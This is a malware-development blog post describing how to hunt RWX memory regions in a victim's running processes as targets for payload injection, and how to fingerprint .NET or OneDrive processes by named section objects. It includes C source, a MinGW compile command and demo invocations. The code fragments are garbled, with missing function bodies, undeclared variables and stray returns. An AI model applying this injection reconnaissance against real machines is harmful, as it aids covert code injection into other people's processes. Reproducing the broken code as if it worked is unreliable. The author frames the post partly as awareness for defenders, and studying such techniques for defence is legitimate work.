2024-05-01 - Malware Development Trick 38 Hunting RWX - Part 2 Target Process Investigation Tricks Simple CC Examp
2024-05-01 - Malware Development Trick 38 Hunting RWX - Part 2 Target Process Investigation Tricks Simple CC Examp
May 1, 2024
9 minute read
As you remember, the method is simple: we enumerate the presently running target
processes on the victim’s system, scan through their allocated memory blocks to see if any
are protected with RWX, and then write our payload to this memory block.
practical example
Today I will use a little bit different trick. Let’s say we are search specific process in the
victim’s machine (for injection or for something else).
1/19
Let’s go to use a separate function for hunting RWX-memory region from the victim process,
something like this:
int findRWX(HANDLE h) {
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
return 0;
}
Also a little bit update for our main logic: first of all, we are search specific process’ handle by
it’s name:
2/19
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
return current;
}
3/19
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
return current;
}
int findRWX(HANDLE h) {
// look for RWX memory regions which are not backed by an image
4/19
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
return 0;
}
return 0;
}
demo
5/19
Try on another target process, for example OneDrive.exe:
6/19
Our logic is worked, RWX-memory successfully founded!
practical example 2
But there are the caveats. Sometimes we need to know is this process is .NET process or
Java or something else (is it really OneDrive.exe process)?
For .NET process we need interesting trick, if we open powershell.exe via Process Hacker
2:
7/19
As you can see, in the Handles tab we can find interesting section with name
\BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our
string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.
8/19
HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
return current;
}
Just convert process id int to UNICODE STRING and concat, then try to find section logic.
9/19
Here, NtOpenSection API use for opens a handle for an existing section object:
So, the full source code for this logic (finding .NET processes in the victim’s system) looks
like this:
10/19
/*
* hack2.c - hunting RWX memory
* detect .NET process
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
11/19
// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);
return current;
}
int findRWX(HANDLE h) {
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
return 0;
}
12/19
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ",
pid);
findRWX(h);
CloseHandle(h);
return 0;
}
demo 2
Let’s go to see second example in action. Compile it:
.\hack2.exe powershell.exe
13/19
Now, second practical example worked as expected! Great! =^..^=
practical example 3
How we can check if the victim process is really OneDrive.exe process? It’s just in case, for
example.
14/19
As you can see we can use the same trick: check section by it’s name:
\Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the
presence of this string does not guarantee that this is OneDrive.exe process. I just want to
show that you can examine any process and try to find some indicators in the section names.
So, I updated my function again and full source code of my third example (hack3.c):
15/19
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
16/19
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
int findRWX(HANDLE h) {
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
return 0;
}
return 0;
}
As you can see, the logic is simple: check section name and try to open it.
demo 3
17/19
x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w
.\hack3.exe OneDrive.exe
18/19
As you can see, everything is worked perfectly again!
If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t
look well, it seems to me that this is a technique already known to attackers.
I hope this post spreads awareness to the blue teamers of this interesting process
investigation technique, and adds a weapon to the red teamers arsenal.
19/19